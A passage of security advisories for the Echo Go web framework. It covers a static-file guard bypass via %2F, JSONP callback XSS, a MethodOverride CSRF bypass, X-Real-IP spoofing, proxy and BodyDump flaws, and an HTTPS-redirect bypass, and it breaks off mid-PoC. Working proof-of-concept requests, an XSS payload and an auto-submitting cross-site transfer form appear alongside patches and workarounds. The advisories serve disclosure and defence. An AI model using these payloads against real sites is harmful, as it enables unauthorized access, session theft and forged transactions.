• middleware/static.go ~L219 (p := c.Request().URL.Path), ~L235 (path.Clean), ~L259 (currentFS.Open)
• StaticConfig.EnablePathUnescaping docstring (static.go ~L60-67) — claims the default prevents the /admin%2fprivate.txt → /admin/* guard bypass; this is not true for the global mount.

Relationship to prior advisories:

• CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq (patched 5.2.0): same %2F router-vs-handler mismatch, but fixed for StaticFS/StaticDirectoryHandler. The middleware.Static path was not covered — this report is that gap.
• CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 (patched 5.0.3): a different issue (Windows backslash traversal outside the root). Referenced only to disambiguate; not the same as this report.

PoC

Environment: golang:1.25, module using the official release (go get github.com/labstack/echo/v5@v5.3.1, no local replace). Static root public/ contains a marker file public/admin/secret.txt = SECRET.

Minimal app (the pattern under test: static served globally + a group guard intended to protect /admin):

package main

import (
	"net/http"

	"github.com/labstack/echo/v5"
	"github.com/labstack/echo/v5/middleware"
)

func main() {
	e := echo.New()
	e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

	admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(c *echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") }
	})
	admin.GET("/secret.txt", func(c *echo.Context) error { return c.String(http.StatusOK, "handler") })

	e.Start(":1323")
}

Requests (unauthenticated):

# Literal: route matches -> group guard runs
curl -i http://localhost:1323/admin/secret.txt
# => 401

# %2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file
curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt
# => 200, body: SECRET

Observed on v5.3.1: literal → 401; %2F → 200 with the file contents. For contrast, serving via the (patched) e.StaticFS("/") returns 404 for the same %2F request, showing the middleware.Static path was not covered by the CVE-2026-55677 fix.

Impact

An unauthenticated remote user can retrieve a file served by middleware.Static even when the application attached a route/group middleware guard to that path, by substituting / with %2F. The consequence is limited to files already inside the served static root (CWE-863 authorization inconsistency; CWE-436 interpretation conflict) — there is no access to files outside the static root.

Honest caveat on validity / severity: this only has security impact for applications that (a) serve a directory statically to the public and (b) place a sensitive file inside that same directory while relying on a route-level guard to protect it. That combination is arguably a misconfiguration — a statically-served directory is public by design — so maintainers may reasonably classify this as a documentation fix (correct the EnablePathUnescaping claim) or won't-fix rather than a code vulnerability. It is filed primarily because (1) the router-vs-handler %2F inconsistency is the exact class fixed in CVE-2026-55677 but left uncovered for middleware.Static, and (2) the docstring currently promises protection it does not provide.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. With the default settings, the Static middleware resolves files from the same form of the path that the router matched, so percent-encoded paths such as /admin%2Fsecret.txt or /%61dmin/secret.txt no longer reach a file under a guarded route. Paths with ., .. or empty segments are no longer served.

Note: middleware registered with Echo#Use runs before route and group middleware, so route guards never protect files served by a global Static middleware. Keep protected files outside its root directory, or serve them with Echo#Static behind the guard.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

Summary

The Context.JSONP, Context.JSONPBlob, and internal jsonPBlob helper in context.go directly concatenate the caller-supplied callback parameter into a JavaScript response without any validation, escaping, or allow-listing.

This creates a high-impact reflected XSS that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.

Present in current master and v5.1.0 (latest release).

Vulnerable Code (verbatim)

func (c *Context) jsonPBlob(code int, callback string, i any) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil {
		return
	}
	if _, err = c.response.Write([]byte(");")); err != nil {
		return
	}
	return
}

func (c *Context) JSONP(code int, callback string, i any) (err error) {
	return c.jsonPBlob(code, callback, i)
}

func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if _, err = c.response.Write(b); err != nil {
		return
	}
	_, err = c.response.Write([]byte(");"))
	return
}

No sanitization is performed on the callback string.

Exploit (one-request repro)

Any route using the official pattern is vulnerable:

Goe.GET("/api", func(c echo.Context) error {
    return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"})
})

Attacker request:

GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1
Host: target.com

Server response:

Content-Type: application/javascript; charset=utf-8

alert(document.domain)//({"status":"ok"});

→ Immediate arbitrary JavaScript execution (full reflected XSS).

Impact

• Session hijacking, cookie theft, account takeover, keylogging, defacement.
• Works even with strict CSP (response is served as application/javascript).

Affected Versions

• All versions ≤ v5.1.0 (including current master)

Workarounds

Manually sanitize the callback before calling JSONP/JSONPBlob:

Gofunc safeCallback(cb string) string {
    if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.\[\]]+$`, cb); !matched {
        return "callback"
    }
    return cb
}

Or migrate away from JSONP entirely (use CORS + application/json).

References

• https://github.com/labstack/echo/blob/master/context.go
• https://echo.labstack.com/docs/cookbook/jsonp

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.JSONP and Context.JSONPBlob accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, _ and $); any other callback returns a 400 Bad Request error wrapping ErrInvalidJSONPCallback and nothing is written. JSONP responses also carry X-Content-Type-Options: nosniff.

Workarounds

Validate the callback in your handler before calling Context.JSONP, for example against ^[A-Za-z_$][A-Za-z0-9_$]*(\.[A-Za-z_$][A-Za-z0-9_$]*)*$, and set X-Content-Type-Options: nosniff. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.

Summary

The MethodOverride middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.

Affected Component

• middleware/method_override.go — MethodOverrideConfig.ToMiddleware() (lines 55–71): no whitelist on the override target method
• middleware/csrf.go — CSRFConfig.ToMiddleware() (lines 188–189): safe-method bypass branch reads the already-rewritten method
• middleware/csrf.go — checkSecFetchSiteRequest() (line 283): Sec-Fetch-Site safe check also reads the rewritten method

Description

MethodOverride accepts safe methods as override targets

MethodOverrideConfig.ToMiddleware() (method_override.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:

// method_override.go:61-67
req := c.Request()
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" {
        req.Method = m   // ← any non-empty string accepted, including "GET"
    }
}

The docstring's security claim — "For security reasons, only POST method can be overridden" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (method_override_test.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.

CSRF safe-method branch reads the already-rewritten method

CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:

// csrf.go:188-189
switch c.Request().Method {
case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:
    // skip validation — no token check
default:
    // validate CSRF token

If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.

The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:

// csrf.go:283
isSafe := slices.Contains(safeMethods, c.Request().Method)

With req.Method = "GET" (already rewritten), isSafe = true and the function returns true — the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.

Execution chain

In echo.go:700, routing and middleware wrapping are performed in one step:

h = applyMiddleware(e.router.Route(c), e.middleware...)

1. e.router.Route(c) evaluates with req.Method = "POST" → matches and binds the POST /transfer handler
2. applyMiddleware wraps it: MethodOverride → CSRF → postHandler

At request execution time: 3. MethodOverride runs: req.Method == "POST" → reads form field _method = "GET" → req.Method = "GET" → calls next 4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next 5. postHandler runs (the handler matched in step 1 — the original POST /transfer state-change handler)

The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.

The missing target-method whitelist is the root cause

The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.

Proof of Concept

package main

import (
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    // MethodOverride before CSRF — both in e.Use() (post-routing)
    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{
        Getter: middleware.MethodFromForm("_method"),
    }))
    e.Use(middleware.CSRF())
    e.POST("/transfer", func(c *echo.Context) error {
        return c.String(http.StatusOK, "transfer executed")
    })
    e.Logger.Fatal(e.Start(":18080"))
}

# Baseline — CSRF correctly blocks a POST without a valid token
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'amount=100'
# HTTP/1.1 400 Bad Request (missing CSRF token)

# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=GET&amount=100'
# HTTP/1.1 200 OK
# transfer executed

# Browser-based CSRF PoC (attacker's page, auto-submits on load):
# <form method="POST" action="https://victim.example/transfer" id="f">
#   <input name="_method" value="GET">
#   <input name="amount" value="1000">
#   <input name="to" value="attacker_account">
# </form>
# <script>document.getElementById('f').submit();</script>

The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?_method=GET).

Impact

• Any state-changing endpoint protected by CSRF() is reachable without a valid CSRF token when the vulnerable middleware ordering is present
• The Sec-Fetch-Site modern-browser CSRF protection is bypassed simultaneously — browsers that support Sec-Fetch-Site provide no additional defense
• Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation
• Audit logs may record GET as the HTTP method for what were actually state-changing operations

Recommended Remediation

Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)

The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:

// method_override.go — illustrative fix
var allowedOverrideMethods = map[string]bool{
    http.MethodPut:    true,
    http.MethodPatch:  true,
    http.MethodDelete: true,
}

// in ToMiddleware:
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" && allowedOverrideMethods[m] {
        req.Method = m
    }
}

Option 2: Use e.Pre() for MethodOverride and document the ordering requirement

Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:

// MethodOverride returns a MethodOverride middleware.
//
// IMPORTANT: Register this middleware with e.Pre(), not e.Use().
// If registered with e.Use() before CSRF middleware, method rewriting
// occurs after route matching but before CSRF validation, allowing
// attackers to bypass CSRF token checks by specifying _method=GET.
func MethodOverride() echo.MiddlewareFunc {

Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The MethodOverride middleware no longer overrides a POST to GET, HEAD, OPTIONS, TRACE or CONNECT.

Workarounds

Register MethodOverride with Echo#Pre (as documented), register CSRF before MethodOverride, or use the default header getter (X-HTTP-Method-Override), which a cross-site form cannot set.

Summary

The Echo proxy middleware (middleware/proxy.go) preserves an incoming X-Real-IP header verbatim and forwards it to the upstream service when Echo#IPExtractor is not configured — which is the default. Because any HTTP client can supply an arbitrary X-Real-IP value, an attacker can cause Echo to relay a spoofed client IP address to every upstream service behind the proxy, undermining upstream IP-based access controls, rate limiting, audit logging, and geo-restriction.

Affected Component

• middleware/proxy.go — ProxyConfig.ToMiddleware(), header-rewriting block (lines 351–355)

Description

The header-preservation condition passes spoofed values to upstream

ProxyConfig.ToMiddleware() (proxy.go:338-405) prepares forwarding headers before dispatching each request. The X-Real-IP rewrite logic at lines 351-355 reads:

// proxy.go:351-355
// Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream.
// However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor.
if req.Header.Get(echo.HeaderXRealIP) == "" || c.Echo().IPExtractor != nil {
    req.Header.Set(echo.HeaderXRealIP, c.RealIP())
}

The condition is TRUE (and therefore overwrites the header with a derived value) only when:

• The header is absent — req.Header.Get(echo.HeaderXRealIP) == ""; or
• IPExtractor is explicitly configured — c.Echo().IPExtractor != nil

The condition is FALSE — and the header is left unchanged — when the request arrives with an X-Real-IP header already set and IPExtractor is nil. Because Echo.New() leaves IPExtractor as nil, this is the out-of-the-box behaviour for every application that uses Proxy() or ProxyWithConfig() without extra configuration.

An attacker who sets X-Real-IP to any value causes Echo to forward exactly that value to the upstream, with no modification or validation.

The comment in the source code confirms intent and the security gap

The inline comment at line 351-352 explicitly states:

"Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream. However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor."

The framework is aware that the default is insecure and retains it for backward compatibility. No warning appears in the Proxy() or ProxyWithConfig() documentation, so operators who follow the standard setup example receive a silently insecure proxy configuration.

This is structurally identical to the documented insecurity in ip.go:27:

"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

Full execution chain

1. Attacker sends GET /api/admin to the Echo proxy with header X-Real-IP: 203.0.113.1 (a trusted corporate IP)
2. ToMiddleware() evaluates the guard at line 353: header is present (!= ""), IPExtractor is nil → condition is FALSE
3. req.Header.Set is not called; the upstream request carries the original, attacker-supplied X-Real-IP: 203.0.113.1
4. Upstream service checks X-Real-IP against its IP allowlist → finds 203.0.113.1 → grants access
5. Attacker reaches an endpoint that should be restricted to the corporate IP range

Secondary impact path (audit poisoning):

• All upstream log entries, rate-limit counters, and geo-restriction checks are evaluated against 203.0.113.1 rather than the real client IP, rendering audit trails and security analytics unreliable.

Proof of Concept

package main

import (
    "fmt"
    "log"
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    // Upstream server: echoes back the X-Real-IP it received
    upstream := http.NewServeMux()
    upstream.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "upstream sees X-Real-IP: %s\n", r.Header.Get("X-Real-IP"))
    })
    go http.ListenAndServe(":9000", upstream)

    // Echo proxy — IPExtractor deliberately NOT set (the default)
    e := echo.New()
    targets := []*middleware.ProxyTarget{{URL: mustParse("http://127.0.0.1:9000")}}
    e.Use(middleware.Proxy(middleware.NewRoundRobinBalancer(targets)))
    log.Fatal(e.Start(":1323"))
}

# Without spoofed header — upstream sees actual peer address
curl http://127.0.0.1:1323/
# upstream sees X-Real-IP: 127.0.0.1

# With spoofed header — upstream sees attacker-supplied value
curl -H 'X-Real-IP: 198.51.100.77' http://127.0.0.1:1323/
# upstream sees X-Real-IP: 198.51.100.77

The attacker-supplied IP 198.51.100.77 arrives at the upstream unchanged.

Impact

• Upstream IP-based access controls (allowlists, blocklists, geo-restrictions) can be bypassed by supplying the expected IP in X-Real-IP
• Upstream rate limiters that key on X-Real-IP are bypassable (same class as the Echo rate-limiter finding, now on every upstream service)
• Audit logs, intrusion detection systems, and SIEM tools that rely on X-Real-IP record the attacker-chosen IP, not the real source — forensic trails are poisoned
• Any upstream admin endpoint restricted by IP allowlist is reachable by any attacker who knows or guesses a trusted IP address

Recommended Remediation

Option 1: Always overwrite X-Real-IP from an authoritative source (preferred)

Remove the conditional that preserves the incoming header. Echo, as the edge proxy, is the only authoritative source for the real client IP:

// proxy.go — always set X-Real-IP from an authoritative source
req.Header.Set(echo.HeaderXRealIP, c.RealIP())

For this to be safe, operators using Proxy() should also configure IPExtractor:

e.IPExtractor = echo.ExtractIPDirect() // no upstream proxy
// or
e.IPExtractor = echo.ExtractIPFromXFFHeader() // behind a trusted upstream LB

Option 2: Document and warn in Proxy() godoc

If backward compatibility must be preserved, add a prominent security warning to Proxy() and ProxyWithConfig():

// Proxy returns a Proxy middleware.
//
// SECURITY: By default, an incoming X-Real-IP header supplied by the client
// is forwarded to the upstream unchanged. This allows any client to spoof its
// IP identity to upstream services. Configure Echo#IPExtractor before using
// this middleware to ensure X-Real-IP is derived from a trusted source:
//
//   e.IPExtractor = echo.ExtractIPDirect()
//
// See https://echo.labstack.com/guide/ip-address for details.
func Proxy(balancer ProxyBalancer) echo.MiddlewareFunc {

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0: the Proxy middleware always sets X-Real-IP from Context.RealIP(), which is the address of the direct peer unless Echo#IPExtractor is configured.

github.com/labstack/echo/v4 is not changed, because v4's Context.RealIP() without Echo#IPExtractor trusts X-Forwarded-For and X-Real-IP by design, and changing that default would merge all clients behind a proxy into one rate-limit bucket.

Workarounds

Configure Echo#IPExtractor for your deployment, for example e.IPExtractor = echo.ExtractIPDirect() when there is no proxy in front of the application, or echo.ExtractIPFromXFFHeader() / echo.ExtractIPFromRealIPHeader() (with TrustIPRange for proxies on public addresses). With an extractor set, the Proxy middleware overwrites X-Real-IP in v4 too.

Impact

In Echo v5, ExtractIPFromRealIPHeader checked whether the address supplied in X-Real-IP belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by c.RealIP() with the extractor's default trust options.

Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's X-Real-IP value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to v5.4.1.

The patch validates the direct peer before accepting a syntactically valid X-Real-IP value, restoring the v4 trust model. Fix commit.

Workarounds

Use ExtractIPDirect until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment.

Credits

Reported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory.

Impact

Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.

Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.

Affected versions and patch

Affected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852.

Upgrade to v4.16.1 or v5.4.1. The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open.

Fix commits: v4, v5.

Workarounds

Disable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections.

Credits

Reported by @irisitymichaelgrundberg.

Impact

Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.

This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.

Affected versions and patch

The raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0.

Upgrade to v4.16.1 or v5.4.1. The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests.

Fix commits: v4, v5.

Workarounds

Reject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel.

Credits

Reported by @Duodum.

Impact

Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.

The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0.

Upgrade to v5.4.1. BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. Fix commit.

Streaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit.

Workarounds

Disable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers.

Credits

Reported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in #3105.

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence):

1. X-Forwarded-Proto
2. X-Forwarded-Protocol
3. X-Forwarded-Ssl
4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

func (c *Context) Scheme() string {
    if c.IsTLS() {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" {
        return scheme
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" {
        return scheme
    }
    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" {
        return scheme
    }
    return "http"
}

Two additional issues with this implementation:

1. No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).

2. Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components

| Component | File | Line(s) | Impact | |-----------|------|---------|--------| | Context.Scheme() | context.go | 161–181 | Returns attacker-controlled scheme | | HTTPSRedirect | middleware/redirect.go | 147–151 | HTTPS enforcement bypassed | | HTTPSWWWRedirect | middleware/redirect.go | 154–161 | HTTPS enforcement bypassed | | HTTPSNonWWWRedirect | middleware/redirect.go | 163–170 | HTTPS enforcement bypassed | | WWWRedirect | middleware/redirect.go | 172–177 | URL constructed with arbitrary scheme | | NonWWWRedirect | middleware/redirect.go | 179–184 | URL constructed with arbitrary scheme | | Secure middleware (HSTS) | middleware/secure.go | 125 | HSTS header suppressed |

This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirect_test.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

{
    whenHost:         "labstack.com",
    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {"https"}},
    expectLocation:   "",
    expectStatusCode: http.StatusOK,
},

Similarly, middleware/secure_test.go (lines 42–53) and context_test.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!" — ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set." — ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxy_set_header X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when:

• The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or
• The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)

package echo_test

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func TestHTTPSRedirectBypass(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "served over: "+c.Scheme())
    })

    // Normal HTTP → should redirect
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if rec.Code != http.StatusMovedPermanently {
        t.Fatalf("expected 301, got %d", rec.Code)
    }
    t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

    // Attack: all 4 headers bypass the redirect
    headers := map[string]string{
        "X-Forwarded-Proto":    "https",
        "X-Forwarded-Protocol": "https",
        "X-Forwarded-Ssl":      "on",
        "X-Url-Scheme":         "https",
    }
    for name, value := range headers {
        req := httptest.NewRequest(http.MethodGet, "/", nil)
        req.Header.Set(name, value)
        rec := httptest.NewRecorder()
        e.ServeHTTP(rec, req)
        if rec.Code == http.StatusOK {
            t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code)
        }
    }
}

PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

package main

import (
    "net/http"
    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "Hello on "+c.Scheme())
    })
    e.Start(":8080")
}

Then:

# Normal HTTP → 301 redirect (expected)
$ curl -I http://localhost:8080/
HTTP/1.1 301 Moved Permanently
Location: https://localhost:8080/

# Attack: bypass via X-Forwarded-Proto
$ curl -H "X-Forwarded-Proto: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Protocol
$ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Ssl
$ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/
Hello on https

# Attack: bypass via X-Url-Scheme
